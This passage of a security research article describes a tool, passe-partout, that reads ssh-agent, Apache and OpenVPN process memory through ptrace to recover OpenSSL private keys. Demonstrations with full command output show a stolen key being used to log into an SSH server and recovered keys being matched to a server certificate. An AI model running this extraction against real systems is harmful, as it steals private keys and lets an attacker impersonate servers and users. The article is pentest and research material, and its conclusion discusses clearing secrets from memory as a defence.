SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem 175 | SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key 176 | 177 | 178 | 179 | If the private key is password protected, httpd will ask the user for the 180 | password at startup (or when restart occurs). 181 | 182 | 183 | $ ldd /usr/lib/apache2/modules/mod_ssl.so | grep libcrypto 184 | libcrypto.so.0.9.8 => /usr/lib/i686/cmov/libcrypto.so.0.9.8 (0xb7d4c000) 185 | 186 | 187 | 188 | Private keys are stored as EVP_PKEY structures, inside the modssl_pk_server_t 189 | structure: 190 | 191 | ====== modules/ssl/ssl_private.h extract ========= 192 | 193 | /** public cert/private key */ 194 | typedef struct { 195 | /** 196 | * server only has 1-2 certs/keys 197 | * 1 RSA and/or 1 DSA 198 | */ 199 | const char *cert_files[SSL_AIDX_MAX]; 200 | const char *key_files[SSL_AIDX_MAX]; 201 | X509 *certs[SSL_AIDX_MAX]; 202 | EVP_PKEY *keys[SSL_AIDX_MAX]; <=== 203 | 204 | /** Certificates which specify the set of CA names which should be 205 | * sent in the CertificateRequest message: */ 206 | const char *ca_name_path; 207 | const char *ca_name_file; 208 | } modssl_pk_server_t; 209 | ================================================= 210 | 211 | 212 | 213 | 214 | ----[ 3.3. OpenVPN ]---------------------------------------------------- 215 | 216 | ======= OpenVPN configuration extract ============= 217 | 218 | cert client.crt 219 | key client.key 220 | =================================================== 221 | 222 | 223 | 224 | We can quickly obtain confirmation of the fact that OpenVPN 225 | uses OpenSSL keys by looking at which librairies it is linked to: 226 | 227 | 228 | $ ldd /usr/sbin/openvpn | grep libcrypto 229 | libcrypto.so.0.9.8 => /lib/i686/cmov/libcrypto.so.0.9.8 (0x0060e000) 230 | 231 | 232 | 233 | PEM certificates management is delegated to OpenSSL library. Hence keys are 234 | implicitly stored in EVP_PKEY structures because of the use of the function 235 | SSL_CTX_use_PrivateKey_file. 236 | 237 | 238 | --[ 4. Implementation of a key extractor ]------------------------------ 239 | 240 | In order to read a process memory, each exploitation system has a particular 241 | API. 242 | 243 | For example, on Linux, the memory can be read by two methods: 244 | - by reading the procfs file /proc/`pid`/mem 245 | - by using the so called debugging API ptrace(2) with PTRACE_PEEKDATA command. 246 | 247 | Private keys lookup involves the identification of several variables and 248 | structures stored in the memory area of the targetted process. 249 | 250 | The data may be on: 251 | - the stack 252 | - the heap 253 | - in the binary .data segment 254 | - in an anonymous page (eg a page allocated with mmap). 255 | 256 | 257 | ----[ 4.1 Reading a process memory ]------------------------------------ 258 | 259 | In order to be portable, the tool uses operating system specific code 260 | to read the target process memory. 261 | 262 | The techniques used to read memory are summed up below: 263 | 264 | 265 | +--------------+--------------------------------------------------+ 266 | | Linux | ptrace(PTRACE_PEEKDATA) | 267 | | Solaris | ptrace(2) | 268 | | *BSD | ptrace(PT_READ_D) | 269 | | HP-UX | ttrace(TTRACE_READ) | 270 | | Windows | ReadProcessMemory | 271 | | Mac OS X | vm_read_overwrite | 272 | +--------------+--------------------------------------------------+ 273 | 274 | 275 | Here are the techniques used by our tool to list the valid memory zones of a process: 276 | 277 | 278 | +--------------+--------------------------------------------------+ 279 | | Linux | Lecture de /proc/pid/maps | 280 | | Solaris | Lecture de /proc/pid/map (tableau de prmap_t) | 281 | | FreeBSD | Lecture de /proc/pid/map | 282 | | NetBSD | Lecture de /proc/pid/maps ou "pmap -l -p" | 283 | | OpenBSD | "procmap -l -p" | 284 | | DragonFlyBSD | Lecture de /proc/pid/map | 285 | | Mac OS X | Fonction mach_vm_region | 286 | +--------------+--------------------------------------------------+ 287 | 288 | 289 | The usage of commands such as "pmap" or "procmap" allow to list the zones of a 290 | process without root privileges on some Unix. Indeed, the BSD family use set-uid 291 | binaries in order to read information directly into kernel memory (/dev/kmem). 292 | 293 | Since the tool is meant to be used without necessarily having root privileges, 294 | it uses the system set-uid root binaries. 295 | 296 | Here is an example of a listing of memory zones used by ssh-agent: 297 | 298 | 299 | $ head -n 3 /proc/2620/maps 300 | 08048000-08058000 r-xp 00000000 08:01 446297 /usr/bin/ssh-agent 301 | 08058000-08059000 rw-p 0000f000 08:01 446297 /usr/bin/ssh-agent <=== 302 | 08059000-0807b000 rw-p 08059000 00:00 0 [heap] <=== 303 | 304 | 305 | 306 | 307 | ----[ 4.2 Validating the retrieved data ]------------------------------- 308 | 309 | The memory is browsed in order to retrieve RSA and DSA structures. Those 310 | structures have the particularity to hold contiguous pointers heading to BIGNUM 311 | structures. Each BIGNUM holds itself a pointer to a BN_ULONG array. 312 | 313 | Those structures can't be accessed directly from our programm (since they aren't 314 | in the memory of our process). They have to be accessed through our memory 315 | reading methods. 316 | 317 | Once the structure has been found (assuming we have been able to read and 318 | interpret each pointer as BIGNUM), we have to check it really is a RSA or DSA 319 | structure. 320 | 321 | OpenSSL provides the RSA_check_key function, which takes as argument an RSA 322 | structure, and perform some tests: 323 | 324 | ========= RSA public key ========================== 325 | - p and q are both prime numbers 326 | 327 | - n = p * q 328 | - (x^e)^d = x [n] 329 | =================================================== 330 | 331 | 332 | 333 | For DSA, we have to "manually" check the key since no function is provided: 334 | 335 | ========= DSA public key ========================== 336 | 337 | pub_key = a^p [m] 338 | =================================================== 339 | 340 | 341 | 342 | 343 | 344 | --[ 5. Demonstrations ]------------------------------------------------- 345 | 346 | The tool passe-partout presented all along this tip can be found at passe-partout. 347 | 348 | ----[ 5.1. ssh-agent ]-------------------------------------------------- 349 | 350 | RSA public and private keys generation using password "mysuperpassword" 351 | as password: 352 | 353 | 354 | $ ssh-keygen -qN mysuperpassword -t rsa -f /tmp/myrsa.key 355 | 356 | 357 | Overwrite SSHv2 authorized keys access list on server side with the 358 | newly generated public key: 359 | 360 | 361 | $ scp /tmp/myrsa.key.pub 192.168.0.1:~/.ssh/authorized_keys2 362 | admin@192.168.0.1's password: 363 | myrsa.key.pub 100% 393 0.4KB/s 00:00 364 | 365 | 366 | Starting of a new ssh-agent instace: 367 | 368 | 369 | $ eval `ssh-agent` 370 | Agent pid 4712 371 | 372 | 373 | Registration of the newly generated private key: 374 | 375 | 376 | $ ssh-add /tmp/myrsa.key 377 | Enter passphrase for /tmp/myrsa.key: 378 | Identity added: /tmp/myrsa.key (/tmp/myrsa.key) 379 | 380 | 381 | Starting from now private key is hold in clear inside the ssh-agent 382 | process memory. We can read the clear key by using the key extractor 383 | with root privileges: 384 | 385 | 386 | $ sudo ./passe-partout 4712 387 | [sudo] password for jb: 388 | Target has pid 4712 389 | on_signal(17 - SIGCHLD) from 4712 390 | [-] invalid DSA key. 391 | [-] invalid DSA key. 392 | [-] invalid DSA key. 393 | [-] invalid DSA key. 394 | [X] Valid RSA key found. 395 | [X] Key saved to file id_rsa-0.key 396 | [-] invalid DSA key. 397 | [-] invalid DSA key. 398 | [-] invalid DSA key. 399 | [-] invalid DSA key. 400 | done for pid 4712 401 | 402 | 403 | 404 | 405 | We can now save the extracted private key to /tmp/myplain.key 406 | and clear all identities registred to ssh-agent. 407 | 408 | 409 | $ ssh-add -D 410 | All identities removed. 411 | 412 | 413 | And finally we can authenticate with the previously extracted private 414 | key to the SSH server. Private key (/tmp/myplain.key) permissions must 415 | be 0600. 416 | 417 | 418 | $ ssh -2vF /dev/null -i id_rsa-0.key -o "PreferredAuthentications publickey" 192.168.0.1 419 | OpenSSH_4.3p2 Debian-6, OpenSSL 0.9.8e 23 Feb 2007 420 | debug1: Reading configuration data /dev/null 421 | debug1: Connecting to 192.168.0.1 [192.168.0.1] port 22. 422 | debug1: Connection established. 423 | debug1: identity file myplain.key type -1 424 | [...] 425 | debug1: Authentications that can continue: publickey,password 426 | debug1: Next authentication method: publickey 427 | debug1: Trying private key: myplain.key <=== 428 | debug1: read PEM private key done: type RSA <=== 429 | debug1: Authentication succeeded (publickey). <=== 430 | debug1: channel 0: new [client-session] 431 | debug1: Entering interactive session. 432 | 433 | Last login: Wed Aug 22 17:16:00 2007 from 192.168.0.51 434 | admin@192.168.0.1:~$ 435 | 436 | 437 | 438 | "voila" :) 439 | 440 | ----[ 5.2. Serveur HTTP Apache ]---------------------------------------- 441 | 442 | Key extraction targetting an Apache HTTP server is way more verbous: 443 | 444 | $ ./passe-partout 29960 445 | Target has pid 29960 446 | on_signal(17 - SIGCHLD) from 29960 447 | [-] invalid DSA key. 448 | [-] invalid DSA key. 449 | [...] 450 | [-] unable to check key. 451 | [-] unable to check key. 452 | [X] Valid DSA key found. 453 | [X] Key saved to file id_dsa-0.key 454 | [-] unable to check key. 455 | [...] 456 | [X] Valid DSA key found. 457 | [X] Key saved to file id_dsa-26.key 458 | [...] 459 | [X] Valid RSA key found. 460 | [X] Key saved to file id_rsa-0.key 461 | [...] 462 | [X] Valid RSA key found. 463 | [X] Key saved to file id_rsa-2.key 464 | [-] invalid DSA key. 465 | [-] invalid DSA key. 466 | [-] invalid DSA key. 467 | [-] invalid DSA key. 468 | done for pid 29960 469 | $ ls *key 470 | id_dsa-0.key id_dsa-15.key id_dsa-20.key id_dsa-26.key id_dsa-7.key 471 | id_dsa-10.key id_dsa-16.key id_dsa-21.key id_dsa-2.key id_dsa-8.key 472 | id_dsa-11.key id_dsa-17.key id_dsa-22.key id_dsa-3.key id_dsa-9.key 473 | id_dsa-12.key id_dsa-18.key id_dsa-23.key id_dsa-4.key id_rsa-0.key 474 | id_dsa-13.key id_dsa-19.key id_dsa-24.key id_dsa-5.key id_rsa-1.key 475 | id_dsa-14.key id_dsa-1.key id_dsa-25.key id_dsa-6.key id_rsa-2.key 476 | 477 | 478 | 479 | Despite the presence of a single vhost over this server, using only one SSL 480 | certificate (default Debian certificate), it is clear that httpd hold dozen of 481 | keys in its memory (26 DSA keys, 3 RSA keys). Those keys are generated when 482 | mod_ssl is started. 483 | 484 | These keys are all differents, therefore it is necessary to find the key 485 | which match the server certificate. The other keys are temporarily generated. 486 | 487 | In order to do this, the match_private_key.rb script read each key and compare 488 | it's modulus (n=p*q) to the one of the server's modulus (since it is published 489 | in its certificate). 490 | 491 | This tool can be used in two ways: 492 | 493 | - by manually fetching server ceritificate: 494 | 495 | $ openssl s_client -connect localhost:443> server_certificate.txt 496 | depth=0 /CN=ubuntu 497 | verify error:num=18:self signed certificate 498 | verify return:1 499 | depth=0 /CN=ubuntu 500 | verify return:1 501 | $ ruby match_private_key.rb server_certificate.txt 502 | id_rsa-2.key 503 | 504 | 505 | - or by letting the script obtaning the certificate itself: 506 | 507 | $ ruby match_private_key.rb https://server.fr 508 | id_rsa-2.key 509 | 510 | 511 | 512 | The test is simply done by iterating on each extracted key: 513 | 514 | 515 | if key.public_key.to_pem == server_cert.public_key.to_pem then 516 | puts "#{key_file} is the private key associated to the certificate #{ARGV[0]}" 517 | exit 1 518 | end 519 | 520 | 521 | 522 | 523 | 524 | 525 | ----[ 5.2. OpenVPN ]---------------------------------------------------- 526 | 527 | The method is identical with OpenVPN: 528 | 529 | 530 | $ ps aux|grep openvpn 531 | root 30006 0.0 0.1 5116 3060 pts/25 S+ 14:54 0:00 openvpn openvpn.config 532 | jb 31179 0.0 0.0 3056 824 pts/22 R+ 15:02 0:00 grep --color openvpn 533 | $ sudo ./passe-partout 30006 534 | Target has pid 30006 535 | testing /lib/tls/i686/cmov/libc-2.10.1.so (0x251000) 536 | testing anonymous (0x252000) 537 | testing /lib/i686/cmov/libcrypto.so.0.9.8 (0x4ea000) 538 | testing anonymous (0x4f7000) 539 | testing /usr/lib/liblzo2.so.2.0.0 (0x747000) 540 | testing /lib/libz.so.1.2.3.3 (0x794000) 541 | testing /lib/tls/i686/cmov/libpthread-2.10.1.so (0x979000) 542 | testing anonymous (0x97a000) 543 | testing /lib/ld-2.10.1.so (0xc0f000) 544 | testing /lib/tls/i686/cmov/libdl-2.10.1.so (0xc52000) 545 | testing /lib/i686/cmov/libssl.so.0.9.8 (0xd82000) 546 | testing /usr/lib/libpkcs11-helper.so.1.0.0 (0xf7b000) 547 | testing /usr/sbin/openvpn (0x80c0000) 548 | testing anonymous (0x80c1000) 549 | testing [heap] (0x85c3000) 550 | [X] Valid RSA key found. 551 | [X] Key saved to file id_rsa-0.key 552 | [-] invalid DSA key. 553 | [-] invalid DSA key. 554 | [-] invalid DSA key. 555 | [-] invalid DSA key. 556 | testing anonymous (0xb7754000) 557 | testing anonymous (0xb778f000) 558 | testing [stack] (0xbfdab000) 559 | done for pid 30006 560 | 561 | 562 | The extraction is successfull, as shown by comparison of the extracted key with 563 | the original key: 564 | 565 | 566 | 567 | 568 | --[ 6. Conclusion ]----------------------------------------------------- 569 | 570 | The most important point here is the fact that any "keyring" application is 571 | potentially vulnerable to this attack. The only possible protection would be to 572 | delete secrets (in our case, keys) from memory immediatly after usage. This is 573 | often done after some configurable delay. Using a low delay reduces the interest 574 | of a keyring. 575 | 576 | This article considers the case of RSA/DSA keys with OpenSSL. However, this 577 | method can be applied to any kind of secret, for example with NTLM hashes 578 | stored in the lsass.exe process memory. 579 | 580 | The interest of the in memory keys extraction is the absence of modification of 581 | the environment, of programms or configuration during a pentest. 582 | 583 | -- Nicolas Collignon 584 | -- Jean-Baptiste Aviat 585 | 586 | 587 | --[ 7. References ]----------------------------------------------------- 588 | 589 | - OpenSSH Web site: 590 | http://www.openssh.org 591 | 592 | - "OpenSSH client for ease, fun and ... profit" -- Nicolas Collignon 593 | -- Louis Nyffenegger 594 | http://www.hsc.fr/ressources/breves/ssh_config.html.fr 595 | 596 | --------------------------------------------------------------------------------